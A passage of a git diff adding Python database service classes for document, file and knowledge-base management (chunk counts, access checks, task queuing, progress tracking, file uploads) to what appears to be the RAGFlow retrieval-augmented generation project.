cls.model.update(token_num=cls.model.token_num - token_num, + chunk_num=cls.model.chunk_num - chunk_num, + process_duration=cls.model.process_duration + duration).where( + cls.model.id == doc_id).execute() + if num == 0: + raise LookupError( + "Document not found which is supposed to be there") + num = Knowledgebase.update( + token_num=Knowledgebase.token_num - + token_num, + chunk_num=Knowledgebase.chunk_num - + chunk_num + ).where( + Knowledgebase.id == kb_id).execute() + return num + + @classmethod + @DB.connection_context() + def clear_chunk_num(cls, doc_id): + doc = cls.model.get_by_id(doc_id) + assert doc, "Can't fine document in database." + + num = Knowledgebase.update( + token_num=Knowledgebase.token_num - + doc.token_num, + chunk_num=Knowledgebase.chunk_num - + doc.chunk_num, + doc_num=Knowledgebase.doc_num - 1 + ).where( + Knowledgebase.id == doc.kb_id).execute() + return num + + + @classmethod + @DB.connection_context() + def clear_chunk_num_when_rerun(cls, doc_id): + doc = cls.model.get_by_id(doc_id) + assert doc, "Can't fine document in database." + + num = ( + Knowledgebase.update( + token_num=Knowledgebase.token_num - doc.token_num, + chunk_num=Knowledgebase.chunk_num - doc.chunk_num, + ) + .where(Knowledgebase.id == doc.kb_id) + .execute() + ) + return num + + + @classmethod + @DB.connection_context() + def get_tenant_id(cls, doc_id): + docs = cls.model.select( + Knowledgebase.tenant_id).join( + Knowledgebase, on=( + Knowledgebase.id == cls.model.kb_id)).where( + cls.model.id == doc_id, Knowledgebase.status == StatusEnum.VALID.value) + docs = docs.dicts() + if not docs: + return + return docs[0]["tenant_id"] + + @classmethod + @DB.connection_context() + def get_knowledgebase_id(cls, doc_id): + docs = cls.model.select(cls.model.kb_id).where(cls.model.id == doc_id) + docs = docs.dicts() + if not docs: + return + return docs[0]["kb_id"] + + @classmethod + @DB.connection_context() + def get_tenant_id_by_name(cls, name): + docs = cls.model.select( + Knowledgebase.tenant_id).join( + Knowledgebase, on=( + Knowledgebase.id == cls.model.kb_id)).where( + cls.model.name == name, Knowledgebase.status == StatusEnum.VALID.value) + docs = docs.dicts() + if not docs: + return + return docs[0]["tenant_id"] + + @classmethod + @DB.connection_context() + def accessible(cls, doc_id, user_id): + docs = cls.model.select( + cls.model.id).join( + Knowledgebase, on=( + Knowledgebase.id == cls.model.kb_id) + ).join(UserTenant, on=(UserTenant.tenant_id == Knowledgebase.tenant_id) + ).where(cls.model.id == doc_id, UserTenant.user_id == user_id).paginate(0, 1) + docs = docs.dicts() + if not docs: + return False + return True + + @classmethod + @DB.connection_context() + def accessible4deletion(cls, doc_id, user_id): + docs = cls.model.select(cls.model.id + ).join( + Knowledgebase, on=( + Knowledgebase.id == cls.model.kb_id) + ).join( + UserTenant, on=( + (UserTenant.tenant_id == Knowledgebase.created_by) & (UserTenant.user_id == user_id)) + ).where( + cls.model.id == doc_id, + UserTenant.status == StatusEnum.VALID.value, + ((UserTenant.role == UserTenantRole.NORMAL) | (UserTenant.role == UserTenantRole.OWNER)) + ).paginate(0, 1) + docs = docs.dicts() + if not docs: + return False + return True + + @classmethod + @DB.connection_context() + def get_embd_id(cls, doc_id): + docs = cls.model.select( + Knowledgebase.embd_id).join( + Knowledgebase, on=( + Knowledgebase.id == cls.model.kb_id)).where( + cls.model.id == doc_id, Knowledgebase.status == StatusEnum.VALID.value) + docs = docs.dicts() + if not docs: + return + return docs[0]["embd_id"] + + @classmethod + @DB.connection_context() + def get_chunking_config(cls, doc_id): + configs = ( + cls.model.select( + cls.model.id, + cls.model.kb_id, + cls.model.parser_id, + cls.model.parser_config, + Knowledgebase.language, + Knowledgebase.embd_id, + Tenant.id.alias("tenant_id"), + Tenant.img2txt_id, + Tenant.asr_id, + Tenant.llm_id, + ) + .join(Knowledgebase, on=(cls.model.kb_id == Knowledgebase.id)) + .join(Tenant, on=(Knowledgebase.tenant_id == Tenant.id)) + .where(cls.model.id == doc_id) + ) + configs = configs.dicts() + if not configs: + return None + return configs[0] + + @classmethod + @DB.connection_context() + def get_doc_id_by_doc_name(cls, doc_name): + fields = [cls.model.id] + doc_id = cls.model.select(*fields) \ + .where(cls.model.name == doc_name) + doc_id = doc_id.dicts() + if not doc_id: + return + return doc_id[0]["id"] + + @classmethod + @DB.connection_context() + def get_doc_ids_by_doc_names(cls, doc_names): + if not doc_names: + return [] + + query = cls.model.select(cls.model.id).where(cls.model.name.in_(doc_names)) + return list(query.scalars().iterator()) + + @classmethod + @DB.connection_context() + def get_thumbnails(cls, docids): + fields = [cls.model.id, cls.model.kb_id, cls.model.thumbnail] + return list(cls.model.select( + *fields).where(cls.model.id.in_(docids)).dicts()) + + @classmethod + @DB.connection_context() + def update_parser_config(cls, id, config): + if not config: + return + e, d = cls.get_by_id(id) + if not e: + raise LookupError(f"Document({id}) not found.") + + def dfs_update(old, new): + for k, v in new.items(): + if k not in old: + old[k] = v + continue + if isinstance(v, dict): + assert isinstance(old[k], dict) + dfs_update(old[k], v) + else: + old[k] = v + + dfs_update(d.parser_config, config) + if not config.get("raptor") and d.parser_config.get("raptor"): + del d.parser_config["raptor"] + cls.update_by_id(id, {"parser_config": d.parser_config}) + + @classmethod + @DB.connection_context() + def get_doc_count(cls, tenant_id): + docs = cls.model.select(cls.model.id).join(Knowledgebase, + on=(Knowledgebase.id == cls.model.kb_id)).where( + Knowledgebase.tenant_id == tenant_id) + return len(docs) + + @classmethod + @DB.connection_context() + def begin2parse(cls, docid): + cls.update_by_id( + docid, {"progress": random.random() * 1 / 100., + "progress_msg": "Task is queued...", + "process_begin_at": get_format_time() + }) + + @classmethod + @DB.connection_context() + def update_meta_fields(cls, doc_id, meta_fields): + return cls.update_by_id(doc_id, {"meta_fields": meta_fields}) + + @classmethod + @DB.connection_context() + def get_meta_by_kbs(cls, kb_ids): + fields = [ + cls.model.id, + cls.model.meta_fields, + ] + meta = {} + for r in cls.model.select(*fields).where(cls.model.kb_id.in_(kb_ids)): + doc_id = r.id + for k,v in r.meta_fields.items(): + if k not in meta: + meta[k] = {} + v = str(v) + if v not in meta[k]: + meta[k][v] = [] + meta[k][v].append(doc_id) + return meta + + @classmethod + @DB.connection_context() + def update_progress(cls): + docs = cls.get_unfinished_docs() + + cls._sync_progress(docs) + + + @classmethod + @DB.connection_context() + def update_progress_immediately(cls, docs:list[dict]): + if not docs: + return + + cls._sync_progress(docs) + + + @classmethod + @DB.connection_context() + def _sync_progress(cls, docs:list[dict]): + for d in docs: + try: + tsks = Task.query(doc_id=d["id"], order_by=Task.create_time) + if not tsks: + continue + msg = [] + prg = 0 + finished = True + bad = 0 + e, doc = DocumentService.get_by_id(d["id"]) + status = doc.run # TaskStatus.RUNNING.value + priority = 0 + for t in tsks: + if 0 <= t.progress < 1: + finished = False + if t.progress == -1: + bad += 1 + prg += t.progress if t.progress >= 0 else 0 + if t.progress_msg.strip(): + msg.append(t.progress_msg) + priority = max(priority, t.priority) + prg /= len(tsks) + if finished and bad: + prg = -1 + status = TaskStatus.FAIL.value + elif finished: + prg = 1 + status = TaskStatus.DONE.value + + msg = "\n".join(sorted(msg)) + info = { + "process_duration": datetime.timestamp( + datetime.now()) - + d["process_begin_at"].timestamp(), + "run": status} + if prg != 0: + info["progress"] = prg + if msg: + info["progress_msg"] = msg + if msg.endswith("created task graphrag") or msg.endswith("created task raptor") or msg.endswith("created task mindmap"): + info["progress_msg"] += "\n%d tasks are ahead in the queue..."%get_queue_length(priority) + else: + info["progress_msg"] = "%d tasks are ahead in the queue..."%get_queue_length(priority) + cls.update_by_id(d["id"], info) + except Exception as e: + if str(e).find("'0'") < 0: + logging.exception("fetch task exception") + + @classmethod + @DB.connection_context() + def get_kb_doc_count(cls, kb_id): + return cls.model.select().where(cls.model.kb_id == kb_id).count() + + @classmethod + @DB.connection_context() + def get_all_kb_doc_count(cls): + result = {} + rows = cls.model.select(cls.model.kb_id, fn.COUNT(cls.model.id).alias('count')).group_by(cls.model.kb_id) + for row in rows: + result[row.kb_id] = row.count + return result + + @classmethod + @DB.connection_context() + def do_cancel(cls, doc_id): + try: + _, doc = DocumentService.get_by_id(doc_id) + return doc.run == TaskStatus.CANCEL.value or doc.progress < 0 + except Exception: + pass + return False + + + @classmethod + @DB.connection_context() + def knowledgebase_basic_info(cls, kb_id: str) -> dict[str, int]: + # cancelled: run == "2" but progress can vary + cancelled = ( + cls.model.select(fn.COUNT(1)) + .where((cls.model.kb_id == kb_id) & (cls.model.run == TaskStatus.CANCEL)) + .scalar() + ) + + row = ( + cls.model.select( + # finished: progress == 1 + fn.COALESCE(fn.SUM(Case(None, [(cls.model.progress == 1, 1)], 0)), 0).alias("finished"), + + # failed: progress == -1 + fn.COALESCE(fn.SUM(Case(None, [(cls.model.progress == -1, 1)], 0)), 0).alias("failed"), + + # processing: 0 <= progress < 1 + fn.COALESCE( + fn.SUM( + Case( + None, + [ + (((cls.model.progress == 0) | ((cls.model.progress > 0) & (cls.model.progress < 1))), 1), + ], + 0, + ) + ), + 0, + ).alias("processing"), + ) + .where( + (cls.model.kb_id == kb_id) + & ((cls.model.run.is_null(True)) | (cls.model.run != TaskStatus.CANCEL)) + ) + .dicts() + .get() + ) + + return { + "processing": int(row["processing"]), + "finished": int(row["finished"]), + "failed": int(row["failed"]), + "cancelled": int(cancelled), + } + +def queue_raptor_o_graphrag_tasks(doc, ty, priority, fake_doc_id="", doc_ids=[]): + """ + You can provide a fake_doc_id to bypass the restriction of tasks at the knowledgebase level. + Optionally, specify a list of doc_ids to determine which documents participate in the task. + """ + chunking_config = DocumentService.get_chunking_config(doc["id"]) + hasher = xxhash.xxh64() + for field in sorted(chunking_config.keys()): + hasher.update(str(chunking_config[field]).encode("utf-8")) + + def new_task(): + nonlocal doc + return { + "id": get_uuid(), + "doc_id": fake_doc_id if fake_doc_id else doc["id"], + "from_page": 100000000, + "to_page": 100000000, + "task_type": ty, + "progress_msg": datetime.now().strftime("%H:%M:%S") + " created task " + ty, + "begin_at": datetime.now(), + } + + task = new_task() + for field in ["doc_id", "from_page", "to_page"]: + hasher.update(str(task.get(field, "")).encode("utf-8")) + hasher.update(ty.encode("utf-8")) + task["digest"] = hasher.hexdigest() + bulk_insert_into_db(Task, [task], True) + + if ty in ["graphrag", "raptor", "mindmap"]: + task["doc_ids"] = doc_ids + DocumentService.begin2parse(doc["id"]) + assert REDIS_CONN.queue_product(get_svr_queue_name(priority), message=task), "Can't access Redis. Please check the Redis' status." + return task["id"] + + +def get_queue_length(priority): + group_info = REDIS_CONN.queue_info(get_svr_queue_name(priority), SVR_CONSUMER_GROUP_NAME) + if not group_info: + return 0 + return int(group_info.get("lag", 0) or 0) + + +async def doc_upload_and_parse(conversation_id, file_objs, user_id): + from api.db.services.api_service import API4ConversationService + from api.db.services.conversation_service import ConversationService + from api.db.services.dialog_service import DialogService + from api.db.services.file_service import FileService + from api.db.services.llm_service import LLMBundle + from api.db.services.user_service import TenantService + from rag.app import audio, email, naive, picture, presentation + + e, conv = ConversationService.get_by_id(conversation_id) + if not e: + e, conv = API4ConversationService.get_by_id(conversation_id) + assert e, "Conversation not found!" + + e, dia = DialogService.get_by_id(conv.dialog_id) + if not dia.kb_ids: + raise LookupError("No knowledge base associated with this conversation. " + "Please add a knowledge base before uploading documents") + kb_id = dia.kb_ids[0] + e, kb = KnowledgebaseService.get_by_id(kb_id) + if not e: + raise LookupError("Can't find this knowledgebase!") + + embd_mdl = LLMBundle(kb.tenant_id, LLMType.EMBEDDING, llm_name=kb.embd_id, lang=kb.language) + + err, files = await FileService.upload_document(kb, file_objs, user_id) + assert not err, "\n".join(err) + + def dummy(prog=None, msg=""): + pass + + FACTORY = { + ParserType.PRESENTATION.value: presentation, + ParserType.PICTURE.value: picture, + ParserType.AUDIO.value: audio, + ParserType.EMAIL.value: email + } + parser_config = {"chunk_token_num": 4096, "delimiter": "\n!?;。；！？", "layout_recognize": "Plain Text"} + exe = ThreadPoolExecutor(max_workers=12) + threads = [] + doc_nm = {} + for d, blob in files: + doc_nm[d["id"]] = d["name"] + for d, blob in files: + kwargs = { + "callback": dummy, + "parser_config": parser_config, + "from_page": 0, + "to_page": 100000, + "tenant_id": kb.tenant_id, + "lang": kb.language + } + threads.append(exe.submit(FACTORY.get(d["parser_id"], naive).chunk, d["name"], blob, **kwargs)) + + for (docinfo, _), th in zip(files, threads): + docs = [] + doc = { + "doc_id": docinfo["id"], + "kb_id": [kb.id] + } + for ck in th.result(): + d = deepcopy(doc) + d.update(ck) + d["id"] = xxhash.xxh64((ck["content_with_weight"] + str(d["doc_id"])).encode("utf-8")).hexdigest() + d["create_time"] = str(datetime.now()).replace("T", " ")[:19] + d["create_timestamp_flt"] = datetime.now().timestamp() + if not d.get("image"): + docs.append(d) + continue + + output_buffer = BytesIO() + if isinstance(d["image"], bytes): + output_buffer = BytesIO(d["image"]) + else: + d["image"].save(output_buffer, format='JPEG') + + STORAGE_IMPL.put(kb.id, d["id"], output_buffer.getvalue()) + d["img_id"] = "{}-{}".format(kb.id, d["id"]) + d.pop("image", None) + docs.append(d) + + parser_ids = {d["id"]: d["parser_id"] for d, _ in files} + docids = [d["id"] for d, _ in files] + chunk_counts = {id: 0 for id in docids} + token_counts = {id: 0 for id in docids} + es_bulk_size = 64 + + def embedding(doc_id, cnts, batch_size=16): + nonlocal embd_mdl, chunk_counts, token_counts + vects = [] + for i in range(0, len(cnts), batch_size): + vts, c = embd_mdl.encode(cnts[i: i + batch_size]) + vects.extend(vts.tolist()) + chunk_counts[doc_id] += len(cnts[i:i + batch_size]) + token_counts[doc_id] += c + return vects + + idxnm = search.index_name(kb.tenant_id) + try_create_idx = True + + _, tenant = TenantService.get_by_id(kb.tenant_id) + llm_bdl = LLMBundle(kb.tenant_id, LLMType.CHAT, tenant.llm_id) + for doc_id in docids: + cks = [c for c in docs if c["doc_id"] == doc_id] + + if parser_ids[doc_id] != ParserType.PICTURE.value: + from graphrag.general.mind_map_extractor import MindMapExtractor + mindmap = MindMapExtractor(llm_bdl) + try: + mind_map = trio.run(mindmap, [c["content_with_weight"] for c in docs if c["doc_id"] == doc_id]) + mind_map = json.dumps(mind_map.output, ensure_ascii=False, indent=2) + if len(mind_map) < 32: + raise Exception("Few content: " + mind_map) + cks.append({ + "id": get_uuid(), + "doc_id": doc_id, + "kb_id": [kb.id], + "docnm_kwd": doc_nm[doc_id], + "title_tks": rag_tokenizer.tokenize(re.sub(r"\.[a-zA-Z]+$", "", doc_nm[doc_id])), + "content_ltks": rag_tokenizer.tokenize("summary summarize 总结 概况 file 文件 概括"), + "content_with_weight": mind_map, + "knowledge_graph_kwd": "mind_map" + }) + except Exception as e: + logging.exception("Mind map generation error") + + vects = embedding(doc_id, [c["content_with_weight"] for c in cks]) + assert len(cks) == len(vects) + for i, d in enumerate(cks): + v = vects[i] + d["q_%d_vec" % len(v)] = v + for b in range(0, len(cks), es_bulk_size): + if try_create_idx: + if not settings.docStoreConn.indexExist(idxnm, kb_id): + settings.docStoreConn.createIdx(idxnm, kb_id, len(vects[0])) + try_create_idx = False + settings.docStoreConn.insert(cks[b:b + es_bulk_size], idxnm, kb_id) + + DocumentService.increment_chunk_num( + doc_id, kb.id, token_counts[doc_id], chunk_counts[doc_id], 0) + + return [d["id"] for d, _ in files] + diff --git a/api/db/services/file2document_service.py b/api/db/services/file2document_service.py new file mode 100644 index 0000000..31d75ac --- /dev/null +++ b/api/db/services/file2document_service.py @@ -0,0 +1,96 @@ +# +# Copyright 2024 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +from datetime import datetime + +from api.db import FileSource +from api.db.db_models import DB +from api.db.db_models import File, File2Document +from api.db.services.common_service import CommonService +from api.db.services.document_service import DocumentService +from api.utils import current_timestamp, datetime_format + + +class File2DocumentService(CommonService): + model = File2Document + + @classmethod + @DB.connection_context() + def get_by_file_id(cls, file_id): + objs = cls.model.select().where(cls.model.file_id == file_id) + return objs + + @classmethod + @DB.connection_context() + def get_by_document_id(cls, document_id): + objs = cls.model.select().where(cls.model.document_id == document_id) + return objs + + @classmethod + @DB.connection_context() + def get_by_document_ids(cls, document_ids): + objs = cls.model.select().where(cls.model.document_id.in_(document_ids)) + return list(objs.dicts()) + + @classmethod + @DB.connection_context() + def insert(cls, obj): + if not cls.save(**obj): + raise RuntimeError("Database error (File)!") + return File2Document(**obj) + + @classmethod + @DB.connection_context() + def delete_by_file_id(cls, file_id): + return cls.model.delete().where(cls.model.file_id == file_id).execute() + + @classmethod + @DB.connection_context() + def delete_by_document_ids_or_file_ids(cls, document_ids, file_ids): + if not document_ids: + return cls.model.delete().where(cls.model.file_id.in_(file_ids)).execute() + elif not file_ids: + return cls.model.delete().where(cls.model.document_id.in_(document_ids)).execute() + return cls.model.delete().where(cls.model.document_id.in_(document_ids) | cls.model.file_id.in_(file_ids)).execute() + + @classmethod + @DB.connection_context() + def delete_by_document_id(cls, doc_id): + return cls.model.delete().where(cls.model.document_id == doc_id).execute() + + @classmethod + @DB.connection_context() + def update_by_file_id(cls, file_id, obj): + obj["update_time"] = current_timestamp() + obj["update_date"] = datetime_format(datetime.now()) + cls.model.update(obj).where(cls.model.id == file_id).execute() + return File2Document(**obj) + + @classmethod + @DB.connection_context() + def get_storage_address(cls, doc_id=None, file_id=None): + if doc_id: + f2d = cls.get_by_document_id(doc_id) + else: + f2d = cls.get_by_file_id(file_id) + if f2d: + file = File.get_by_id(f2d[0].file_id) + if not file.source_type or file.source_type == FileSource.LOCAL: + return file.parent_id, file.location + doc_id = f2d[0].document_id + + assert doc_id, "please specify doc_id" + e, doc = DocumentService.get_by_id(doc_id) + return doc.kb_id, doc.location diff --git a/api/db/services/file_service.py b/api/db/services/file_service.py new file mode 100644 index 0000000..6e40642 --- /dev/null +++ b/api/db/services/file_service.py @@ -0,0 +1,547 @@ +# +# Copyright 2024 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +import logging +import re +import traceback +from concurrent.futures import ThreadPoolExecutor +from pathlib import Path + +from flask_login import current_user +from peewee import fn + +from api.db import KNOWLEDGEBASE_FOLDER_NAME, FileSource, FileType, ParserType +from api.db.db_models import DB, Document, File, File2Document, Knowledgebase +from api.db.services import duplicate_name +from api.db.services.common_service import CommonService +from api.db.services.document_service import DocumentService +from api.db.services.file2document_service import File2DocumentService +from api.utils import get_uuid +from api.utils.file_utils import filename_type, read_potential_broken_pdf, thumbnail_img +from rag.llm.cv_model import GptV4 +from rag.utils.storage_factory import STORAGE_IMPL + + +class FileService(CommonService): + # Service class for managing file operations and storage + model = File + + @classmethod + @DB.connection_context() + def get_by_pf_id(cls, tenant_id, pf_id, page_number, items_per_page, orderby, desc, keywords): + # Get files by parent folder ID with pagination and filtering + # Args: + # tenant_id: ID of the tenant + # pf_id: Parent folder ID + # page_number: Page number for pagination + # items_per_page: Number of items per page + # orderby: Field to order by + # desc: Boolean indicating descending order + # keywords: Search keywords + # Returns: + # Tuple of (file_list, total_count) + if keywords: + files = cls.model.select().where((cls.model.tenant_id == tenant_id), (cls.model.parent_id == pf_id), (fn.LOWER(cls.model.name).contains(keywords.lower())), ~(cls.model.id == pf_id)) + else: + files = cls.model.select().where((cls.model.tenant_id == tenant_id), (cls.model.parent_id == pf_id), ~(cls.model.id == pf_id)) + count = files.count() + if desc: + files = files.order_by(cls.model.getter_by(orderby).desc()) + else: + files = files.order_by(cls.model.getter_by(orderby).asc()) + + files = files.paginate(page_number, items_per_page) + + res_files = list(files.dicts()) + for file in res_files: + if file["type"] == FileType.FOLDER.value: + file["size"] = cls.get_folder_size(file["id"]) + file["kbs_info"] = [] + children = list( + cls.model.select() + .where( + (cls.model.tenant_id == tenant_id), + (cls.model.parent_id == file["id"]), + ~(cls.model.id == file["id"]), + ) + .dicts() + ) + file["has_child_folder"] = any(value["type"] == FileType.FOLDER.value for value in children) + continue + kbs_info = cls.get_kb_id_by_file_id(file["id"]) + file["kbs_info"] = kbs_info + + return res_files, count + + @classmethod + @DB.connection_context() + def get_kb_id_by_file_id(cls, file_id): + # Get knowledge base IDs associated with a file + # Args: + # file_id: File ID + # Returns: + # List of dictionaries containing knowledge base IDs and names + kbs = ( + cls.model.select(*[Knowledgebase.id, Knowledgebase.name]) + .join(File2Document, on=(File2Document.file_id == file_id)) + .join(Document, on=(File2Document.document_id == Document.id)) + .join(Knowledgebase, on=(Knowledgebase.id == Document.kb_id)) + .where(cls.model.id == file_id) + ) + if not kbs: + return [] + kbs_info_list = [] + for kb in list(kbs.dicts()): + kbs_info_list.append({"kb_id": kb["id"], "kb_name": kb["name"]}) + return kbs_info_list + + @classmethod + @DB.connection_context() + def get_by_pf_id_name(cls, id, name): + # Get file by parent folder ID and name + # Args: + # id: Parent folder ID + # name: File name + # Returns: + # File object or None if not found + file = cls.model.select().where((cls.model.parent_id == id) & (cls.model.name == name)) + if file.count(): + e, file = cls.get_by_id(file[0].id) + if not e: + raise RuntimeError("Database error (File retrieval)!") + return file + return None + + @classmethod + @DB.connection_context() + def get_id_list_by_id(cls, id, name, count, res): + # Recursively get list of file IDs by traversing folder structure + # Args: + # id: Starting folder ID + # name: List of folder names to traverse + # count: Current depth in traversal + # res: List to store results + # Returns: + # List of file IDs + if count < len(name): + file = cls.get_by_pf_id_name(id, name[count]) + if file: + res.append(file.id) + return cls.get_id_list_by_id(file.id, name, count + 1, res) + else: + return res + else: + return res + + @classmethod + @DB.connection_context() + def get_all_innermost_file_ids(cls, folder_id, result_ids): + # Get IDs of all files in the deepest level of folders + # Args: + # folder_id: Starting folder ID + # result_ids: List to store results + # Returns: + # List of file IDs + subfolders = cls.model.select().where(cls.model.parent_id == folder_id) + if subfolders.exists(): + for subfolder in subfolders: + cls.get_all_innermost_file_ids(subfolder.id, result_ids) + else: + result_ids.append(folder_id) + return result_ids + + @classmethod + @DB.connection_context() + def get_all_file_ids_by_tenant_id(cls, tenant_id): + fields = [cls.model.id] + files = cls.model.select(*fields).where(cls.model.tenant_id == tenant_id) + files.order_by(cls.model.create_time.asc()) + offset, limit = 0, 100 + res = [] + while True: + file_batch = files.offset(offset).limit(limit) + _temp = list(file_batch.dicts()) + if not _temp: + break + res.extend(_temp) + offset += limit + return res + + @classmethod + @DB.connection_context() + def create_folder(cls, file, parent_id, name, count): + # Recursively create folder structure + # Args: + # file: Current file object + # parent_id: Parent folder ID + # name: List of folder names to create + # count: Current depth in creation + # Returns: + # Created file object + if count > len(name) - 2: + return file + else: + file = cls.insert( + {"id": get_uuid(), "parent_id": parent_id, "tenant_id": current_user.id, "created_by": current_user.id, "name": name[count], "location": "", "size": 0, "type": FileType.FOLDER.value} + ) + return cls.create_folder(file, file.id, name, count + 1) + + @classmethod + @DB.connection_context() + def is_parent_folder_exist(cls, parent_id): + # Check if parent folder exists + # Args: + # parent_id: Parent folder ID + # Returns: + # Boolean indicating if folder exists + parent_files = cls.model.select().where(cls.model.id == parent_id) + if parent_files.count(): + return True + cls.delete_folder_by_pf_id(parent_id) + return False + + @classmethod + @DB.connection_context() + def get_root_folder(cls, tenant_id): + # Get or create root folder for tenant + # Args: + # tenant_id: Tenant ID + # Returns: + # Root folder dictionary + for file in cls.model.select().where((cls.model.tenant_id == tenant_id), (cls.model.parent_id == cls.model.id)): + return file.to_dict() + + file_id = get_uuid() + file = { + "id": file_id, + "parent_id": file_id, + "tenant_id": tenant_id, + "created_by": tenant_id, + "name": "/", + "type": FileType.FOLDER.value, + "size": 0, + "location": "", + } + cls.save(**file) + return file + + @classmethod + @DB.connection_context() + def get_kb_folder(cls, tenant_id): + # Get knowledge base folder for tenant + # Args: + # tenant_id: Tenant ID + # Returns: + # Knowledge base folder dictionary + root_folder = cls.get_root_folder(tenant_id) + root_id = root_folder["id"] + kb_folder = cls.model.select().where((cls.model.tenant_id == tenant_id), (cls.model.parent_id == root_id), (cls.model.name == KNOWLEDGEBASE_FOLDER_NAME)).first() + if not kb_folder: + kb_folder = cls.new_a_file_from_kb(tenant_id, KNOWLEDGEBASE_FOLDER_NAME, root_id) + return kb_folder + return kb_folder.to_dict() + + @classmethod + @DB.connection_context() + def new_a_file_from_kb(cls, tenant_id, name, parent_id, ty=FileType.FOLDER.value, size=0, location=""): + # Create a new file from knowledge base + # Args: + # tenant_id: Tenant ID + # name: File name + # parent_id: Parent folder ID + # ty: File type + # size: File size + # location: File location + # Returns: + # Created file dictionary + for file in cls.query(tenant_id=tenant_id, parent_id=parent_id, name=name): + return file.to_dict() + file = { + "id": get_uuid(), + "parent_id": parent_id, + "tenant_id": tenant_id, + "created_by": tenant_id, + "name": name, + "type": ty, + "size": size, + "location": location, + "source_type": FileSource.KNOWLEDGEBASE, + } + cls.save(**file) + return file + + @classmethod + @DB.connection_context() + def init_knowledgebase_docs(cls, root_id, tenant_id): + # Initialize knowledge base documents + # Args: + # root_id: Root folder ID + # tenant_id: Tenant ID + for _ in cls.model.select().where((cls.model.name == KNOWLEDGEBASE_FOLDER_NAME) & (cls.model.parent_id == root_id)): + return + folder = cls.new_a_file_from_kb(tenant_id, KNOWLEDGEBASE_FOLDER_NAME, root_id) + + for kb in Knowledgebase.select(*[Knowledgebase.id, Knowledgebase.name]).where(Knowledgebase.tenant_id == tenant_id): + kb_folder = cls.new_a_file_from_kb(tenant_id, kb.name, folder["id"]) + for doc in DocumentService.query(kb_id=kb.id): + FileService.add_file_from_kb(doc.to_dict(), kb_folder["id"], tenant_id) + + @classmethod + @DB.connection_context() + def get_parent_folder(cls, file_id): + # Get parent folder of a file + # Args: + # file_id: File ID + # Returns: + # Parent folder object + file = cls.model.select().where(cls.model.id == file_id) + if file.count(): + e, file = cls.get_by_id(file[0].parent_id) + if not e: + raise RuntimeError("Database error (File retrieval)!") + else: + raise RuntimeError("Database error (File doesn't exist)!") + return file + + @classmethod + @DB.connection_context() + def get_all_parent_folders(cls, start_id): + # Get all parent folders in path + # Args: + # start_id: Starting file ID + # Returns: + # List of parent folder objects + parent_folders = [] + current_id = start_id + while current_id: + e, file = cls.get_by_id(current_id) + if file.parent_id != file.id and e: + parent_folders.append(file) + current_id = file.parent_id + else: + parent_folders.append(file) + break + return parent_folders + + @classmethod + @DB.connection_context() + def insert(cls, file): + # Insert a new file record + # Args: + # file: File data dictionary + # Returns: + # Created file object + if not cls.save(**file): + raise RuntimeError("Database error (File)!") + return File(**file) + + @classmethod + @DB.connection_context() + def delete(cls, file): + # + return cls.delete_by_id(file.id) + + @classmethod + @DB.connection_context() + def delete_by_pf_id(cls, folder_id): + return cls.model.delete().where(cls.model.parent_id == folder_id).execute() + + @classmethod + @DB.connection_context() + def delete_folder_by_pf_id(cls, user_id, folder_id): + try: + files = cls.model.select().where((cls.model.tenant_id == user_id) & (cls.model.parent_id == folder_id)) + for file in files: + cls.delete_folder_by_pf_id(user_id, file.id) + return (cls.model.delete().where((cls.model.tenant_id == user_id) & (cls.model.id == folder_id)).execute(),) + except Exception: + logging.exception("delete_folder_by_pf_id") + raise RuntimeError("Database error (File retrieval)!") + + @classmethod + @DB.connection_context() + def get_file_count(cls, tenant_id): + files = cls.model.select(cls.model.id).where(cls.model.tenant_id == tenant_id) + return len(files) + + @classmethod + @DB.connection_context() + def get_folder_size(cls, folder_id): + size = 0 + + def dfs(parent_id): + nonlocal size + for f in cls.model.select(*[cls.model.id, cls.model.size, cls.model.type]).where(cls.model.parent_id == parent_id, cls.model.id != parent_id): + size += f.size + if f.type == FileType.FOLDER.value: + dfs(f.id) + + dfs(folder_id) + return size + + @classmethod + @DB.connection_context() + def add_file_from_kb(cls, doc, kb_folder_id, tenant_id): + for _ in File2DocumentService.get_by_document_id(doc["id"]): + return + file = { + "id": get_uuid(), + "parent_id": kb_folder_id, + "tenant_id": tenant_id, + "created_by": tenant_id, + "name": doc["name"], + "type": doc["type"], + "size": doc["size"], + "location": doc["location"], + "source_type": FileSource.KNOWLEDGEBASE, + } + cls.save(**file) + File2DocumentService.save(**{"id": get_uuid(), "file_id": file["id"], "document_id": doc["id"]}) + + @classmethod + @DB.connection_context() + def move_file(cls, file_ids, folder_id): + try: + cls.filter_update((cls.model.id << file_ids,), {"parent_id": folder_id}) + except Exception: + logging.exception("move_file") + raise RuntimeError("Database error (File move)!") + + @classmethod + @DB.connection_context() + async def upload_document(self, kb, file_objs, user_id): + root_folder = self.get_root_folder(user_id) + pf_id = root_folder["id"] + self.init_knowledgebase_docs(pf_id, user_id) + kb_root_folder = self.get_kb_folder(user_id) + kb_folder = self.new_a_file_from_kb(kb.tenant_id, kb.name, kb_root_folder["id"]) + + err, files = [], [] + for file in file_objs: + try: + DocumentService.check_doc_health(kb.tenant_id, file.filename) + filename = duplicate_name(DocumentService.query, name=file.filename, kb_id=kb.id) + filetype = filename_type(filename) + if filetype == FileType.OTHER.value: + raise RuntimeError("This type of file has not been supported yet!") + + location = filename + while STORAGE_IMPL.obj_exist(kb.id, location): + location += "_" + + blob = await file.read() + if filetype == FileType.PDF.value: + blob = read_potential_broken_pdf(blob) + STORAGE_IMPL.put(kb.id, location, blob) + + doc_id = get_uuid() + + img = thumbnail_img(filename, blob) + thumbnail_location = "" + if img is not None: + thumbnail_location = f"thumbnail_{doc_id}.png" + 